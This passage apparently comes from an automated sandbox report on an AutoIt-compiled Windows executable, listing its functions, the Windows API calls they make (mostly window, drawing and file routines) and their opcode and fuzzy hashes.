                              • Opcode ID: 58321df28e67eb099ee318ec18723cdf01b8a378577a77c5fc1e9d8837392bcc
                              • Instruction ID: 7208d1371e48addad7a82bf776aec5a394cd9d1c10cc53d221989696c058f8f6
                              • Opcode Fuzzy Hash: 58321df28e67eb099ee318ec18723cdf01b8a378577a77c5fc1e9d8837392bcc
                              • Instruction Fuzzy Hash: 4DE0ECB626460EAFDB04CF68DC42EBF37ADA749710F004618BA16D7280C670E911CA74
                              Function 00440306 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,00000212), ref: 0044032E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllProc_
                              • String ID:
                              • API String ID: 3239928679-0
                              • Opcode ID: c8074131f37bb21e52515d0e719f0e6372a069fb1b0bf1c5daab0305562a1656
                              • Instruction ID: cdfa3c7c0e358d42617837c3919da1626915cb286f17707c0539985eb8f146ed
                              • Opcode Fuzzy Hash: c8074131f37bb21e52515d0e719f0e6372a069fb1b0bf1c5daab0305562a1656
                              • Instruction Fuzzy Hash: DFE0B675240248AFD700DF48D898D9A77A9EB89700F048458FA554B3A2C6B0B810CB61
                              Function 0047132F Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00470928: DestroyAcceleratorTable.USER32(?), ref: 0047094A
                              • NtdllDialogWndProc_W.USER32(?,00000002,00000000,00000000), ref: 0047134E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: AcceleratorDestroyDialogNtdllProc_Table
                              • String ID:
                              • API String ID: 2638641937-0
                              • Opcode ID: 1fe523bc3ffe7451472abd685aad30700db2524a9dbb340e0d67ef59a1e13db2
                              • Instruction ID: 049d54cb1fe6716e8d8a3831c4e241097285c9e82ec9b29a3d6a302b973cbdb4
                              • Opcode Fuzzy Hash: 1fe523bc3ffe7451472abd685aad30700db2524a9dbb340e0d67ef59a1e13db2
                              • Instruction Fuzzy Hash: 33D012B26C2324B6E51036965D1BFCFFA5CCF1ABA1F108017F704B60C289E9640086FD
                              Function 00440338 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON
                              Download Yara Rule
                              APIs
                              • NtdllDialogWndProc_W.USER32(?,00000211), ref: 00440360
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllProc_
                              • String ID:
                              • API String ID: 3239928679-0
                              • Opcode ID: 5f87cae89cac6f8e2d25e27d115a3a7f1dea2ab8eb24d34981d9022fbff52b9c
                              • Instruction ID: 3c6c68f393c460ac128c5d0723b5b392c07b23a02b9a2d0c15d00fa147821f68
                              • Opcode Fuzzy Hash: 5f87cae89cac6f8e2d25e27d115a3a7f1dea2ab8eb24d34981d9022fbff52b9c
                              • Instruction Fuzzy Hash: A4E0EC75240248AFDB00DF48D898E9B77A9FB89700F048458FA554B3A2C7B0F810CFA1
                              Function 00472C3F Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                              Download Yara Rule
                              APIs
                              • GetUserNameW.ADVAPI32(?,?), ref: 00472C51
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: NameUser
                              • String ID:
                              • API String ID: 2645101109-0
                              • Opcode ID: b76fc723219d1f30d7a8c85bc8b1429fb957fe091183e5ae036ed6f26941642b
                              • Instruction ID: cbdb53fe1e94bfc77c89611ca4b62432a5518fa0aa6a76fb1323f8d63e00c007
                              • Opcode Fuzzy Hash: b76fc723219d1f30d7a8c85bc8b1429fb957fe091183e5ae036ed6f26941642b
                              • Instruction Fuzzy Hash: C3C04CB5004008EBDB148F50D9889D93B78BB04340F108199B60E95040D7B496C9DBA5
                              Function 0041F250 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                              Download Yara Rule
                              APIs
                              • SetUnhandledExceptionFilter.KERNEL32(Function_0001F20E), ref: 0041F255
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ExceptionFilterUnhandled
                              • String ID:
                              • API String ID: 3192549508-0
                              • Opcode ID: c60cc95176153529ac13be9fefe03fec559109ed9a450e1086cc56a024ff5f26
                              • Instruction ID: fb0c5f5a3ae0de1c345b26270a1521b23addb5e119a177cdcf8b78f668196b28
                              • Opcode Fuzzy Hash: c60cc95176153529ac13be9fefe03fec559109ed9a450e1086cc56a024ff5f26
                              • Instruction Fuzzy Hash: 8190027625150157470417705E1964925905B5960275108BA6D11C8564DAA98089A619
                              Function 0042200C Relevance: 1.4, Strings: 1, Instructions: 180COMMONLIBRARYCODE
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID: N@
                              • API String ID: 0-1509896676
                              • Opcode ID: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
                              • Instruction ID: 433aa61276291b0397d7e0efaabfbd78b7095b9e612e68cb1662ee3b8c9c8781
                              • Opcode Fuzzy Hash: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
                              • Instruction Fuzzy Hash: 48618E71A003259FCB18CF48D584AAEBBF2FF84310F5AC1AED9095B361C7B59955CB88
                              Function 0040FA10 Relevance: .6, Instructions: 607COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9ccd90b163c6adb52abe1d2335d475eb1e8f24fdd15ffb4383e0e414a09222a9
                              • Instruction ID: 421b1f2eadcb2952f8febc08502f38db6b120a980ad90a3a21cdce547adf9c29
                              • Opcode Fuzzy Hash: 9ccd90b163c6adb52abe1d2335d475eb1e8f24fdd15ffb4383e0e414a09222a9
                              • Instruction Fuzzy Hash: 132270B7E5151A9BDB08CE95CC415D9B3A3BBC832471F9129D819E7305EE78BA078BC0
                              Function 004129D0 Relevance: .4, Instructions: 355COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
                              • Instruction ID: 2bcfc4213c201322ab01e918109ed7ba488288358e1fe6702c600853dbf8b640
                              • Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
                              • Instruction Fuzzy Hash: 9CC1B473D0E6B3058B35466D45182BFFE626E91B8031FC392DDD03F399C22AADA196D4
                              Function 004125E8 Relevance: .3, Instructions: 349COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
                              • Instruction ID: 7014f9c6c4bb04029b5f83a2624c32223adacf072d8c068e18a9ecb8bc3ae66d
                              • Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
                              • Instruction Fuzzy Hash: 04C1A473D1A6B2058B36476D05182BFFE626E91B8031FC3D6CCD03F299C22AAD9596D4
                              Function 00412216 Relevance: .3, Instructions: 332COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
                              • Instruction ID: 878ae001d8650add2b069b622ec184fb54f95ec25c04ba16196e518284591b6f
                              • Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
                              • Instruction Fuzzy Hash: FBC19473D0A6B2068B36476D05582BFFE626E91B8131FC3D2CCD03F299C22AAD9595D4
                              Function 04182640 Relevance: .1, Instructions: 92COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                              • Instruction ID: e1271fa31e0360b6c330ea216cebe535a580d364deab9a81e5a9808e7cc5af74
                              • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                              • Instruction Fuzzy Hash: 0741B371D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB50
                              Function 04182530 Relevance: .0, Instructions: 35COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                              • Instruction ID: 9a5911fc35acc3852c0759a6ce3d91674e66656fd1b3d8dd4eff98b321b23304
                              • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                              • Instruction Fuzzy Hash: E8018078A00109EFCB45EF98C6909AEF7B5FB48310B2085D9E809A7701E730AE41DF80
                              Function 041824D0 Relevance: .0, Instructions: 35COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                              • Instruction ID: 35400ccbe614fc1623a56eedc0e70069a3986795dca5aa99eebff7a462ad02a8
                              • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                              • Instruction Fuzzy Hash: D9018078A00109EFCB49EF98C5909AEF7B5FB48310B2085D9E809A7741E730AE41DF90
                              Function 04180EB0 Relevance: .0, Instructions: 6COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                              • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                              • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                              • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                              Function 004594E9 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 490filewindowcomCOMMON
                              Download Yara Rule
                              APIs
                              • DeleteObject.GDI32(?), ref: 0045953B
                              • DeleteObject.GDI32(?), ref: 00459551
                              • 74285CF0.USER32(?), ref: 00459563
                              • GetDesktopWindow.USER32 ref: 00459581
                              • GetWindowRect.USER32(00000000), ref: 00459588
                              • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 0045969E
                              • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 004596AC
                              • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,00000002,00000007,?,?,?,00000000,00000000), ref: 004596E8
                              • GetClientRect.USER32(00000000,?), ref: 004596F8
                              • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 0045973B
                              • CreateFileW.KERNEL32(00000000,000001F4,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00459760
                              • GetFileSize.KERNEL32(00000000,00000000), ref: 0045977B
                              • GlobalAlloc.KERNEL32(00000002,00000000), ref: 00459786
                              • GlobalLock.KERNEL32(00000000), ref: 0045978F
                              • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0045979E
                              • GlobalUnlock.KERNEL32(00000000), ref: 004597A5
                              • CloseHandle.KERNEL32(00000000), ref: 004597AC
                              • CreateStreamOnHGlobal.OLE32(00000000,00000001,000001F4), ref: 004597B9
                              • OleLoadPicture.OLEAUT32(000001F4,00000000,00000000,004829F8,00000000), ref: 004597D0
                              • GlobalFree.KERNEL32(00000000), ref: 004597E2
                              • CopyImage.USER32(50000001,00000000,00000000,00000000,00002000), ref: 0045980E
                              • SendMessageW.USER32(00000000,00000172,00000000,50000001), ref: 00459831
                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020), ref: 00459857
                              • ShowWindow.USER32(?,00000004), ref: 00459865
                              • CreateWindowExW.USER32(00000000,static,00000000,000001F4,50000001,0000000B,0000000B,?,?,?,00000000,00000000), ref: 004598AF
                              • 742861E0.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004598C3
                              • GetStockObject.GDI32(00000011), ref: 004598CD
                              • SelectObject.GDI32(00000000,00000000), ref: 004598D5
                              • GetTextFaceW.GDI32(00000000,00000040,?), ref: 004598E5
                              • 74284620.GDI32(00000000,0000005A), ref: 004598EE
                              • DeleteDC.GDI32(00000000), ref: 004598F8
                              • _wcslen.LIBCMT ref: 00459916
                              • _wcscpy.LIBCMT ref: 0045993A
                              • CreateFontW.GDI32(?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004599DB
                              • SendMessageW.USER32(00000000,00000030,00000000,00000001), ref: 004599EF
                              • 7427A570.USER32(00000000,?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004599FC
                              • SelectObject.GDI32(00000000,?), ref: 00459A0C
                              • SelectObject.GDI32(00000000,00000007), ref: 00459A37
                              • 7427A480.USER32(00000000,00000000), ref: 00459A42
                              • MoveWindow.USER32(00000000,0000000B,?,?,00000190,00000001), ref: 00459A5F
                              • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00459A6D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$CreateObject$Global$Rect$DeleteFileSelect$7427MessageSendShow$7428462074285742861A480A570AdjustAllocClientCloseCopyDesktopFaceFontFreeHandleImageLoadLockMovePictureReadSizeStockStreamTextUnlock_wcscpy_wcslen
                              • String ID: $AutoIt v3$DISPLAY$static
                              • API String ID: 1129336510-2373415609
                              • Opcode ID: 6d6993f212ed0893db9275c3f84f169bec7eeddded5228c42ae13acbc858d7fb
                              • Instruction ID: 0470743097681e939cd033c9659fc80dd101af82a4c7fdd8c03ae3a829a790b9
                              • Opcode Fuzzy Hash: 6d6993f212ed0893db9275c3f84f169bec7eeddded5228c42ae13acbc858d7fb
                              • Instruction Fuzzy Hash: 92027D71600204EFDB14DF64CD89FAE7BB9BB48305F108569FA05AB292D7B4ED05CB68
                              Function 004417BF Relevance: 49.8, APIs: 33, Instructions: 275COMMON
                              Download Yara Rule
                              APIs
                              • GetSysColor.USER32(00000012), ref: 0044181E
                              • SetTextColor.GDI32(?,?), ref: 00441826
                              • GetSysColorBrush.USER32(0000000F), ref: 0044183D
                              • GetSysColor.USER32(0000000F), ref: 00441849
                              • SetBkColor.GDI32(?,?), ref: 00441864
                              • SelectObject.GDI32(?,?), ref: 00441874
                              • InflateRect.USER32(?,000000FF,000000FF), ref: 004418AA
                              • GetSysColor.USER32(00000010), ref: 004418B2
                              • CreateSolidBrush.GDI32(00000000), ref: 004418B9
                              • FrameRect.USER32(?,?,00000000), ref: 004418CA
                              • DeleteObject.GDI32(?), ref: 004418D5
                              • InflateRect.USER32(?,000000FE,000000FE), ref: 0044192F
                              • FillRect.USER32(?,?,?), ref: 00441970
                                • Part of subcall function 004308EF: GetSysColor.USER32(0000000E), ref: 00430913
                                • Part of subcall function 004308EF: SetTextColor.GDI32(?,00000000), ref: 0043091B
                                • Part of subcall function 004308EF: GetSysColorBrush.USER32(0000000F), ref: 0043094E
                                • Part of subcall function 004308EF: GetSysColor.USER32(0000000F), ref: 00430959
                                • Part of subcall function 004308EF: GetSysColor.USER32(00000011), ref: 00430979
                                • Part of subcall function 004308EF: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0043098B
                                • Part of subcall function 004308EF: SelectObject.GDI32(?,00000000), ref: 0043099C
                                • Part of subcall function 004308EF: SetBkColor.GDI32(?,?), ref: 004309A6
                                • Part of subcall function 004308EF: SelectObject.GDI32(?,?), ref: 004309B4
                                • Part of subcall function 004308EF: InflateRect.USER32(?,000000FF,000000FF), ref: 004309D9
                                • Part of subcall function 004308EF: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004309F4
                                • Part of subcall function 004308EF: 742845F0.USER32(?,000000F0), ref: 00430A09
                                • Part of subcall function 004308EF: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00430A29
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Color$Rect$Object$BrushInflateSelect$CreateText$742845DeleteFillFrameMessageRoundSendSolid
                              • String ID:
                              • API String ID: 2652913774-0
                              • Opcode ID: fbb8d870229eb44a1def9ba3881ac6b42e654f1da7cb1ff5097cb3e0d6ff825e
                              • Instruction ID: 7a723b7ebc9985c742df47702d768576d0729d4f0beaa2415310c4eb73739e4f
                              • Opcode Fuzzy Hash: fbb8d870229eb44a1def9ba3881ac6b42e654f1da7cb1ff5097cb3e0d6ff825e
                              • Instruction Fuzzy Hash: 76B15BB1508301AFD304DF64DD88A6FB7F8FB88720F104A2DF996922A0D774E945CB66
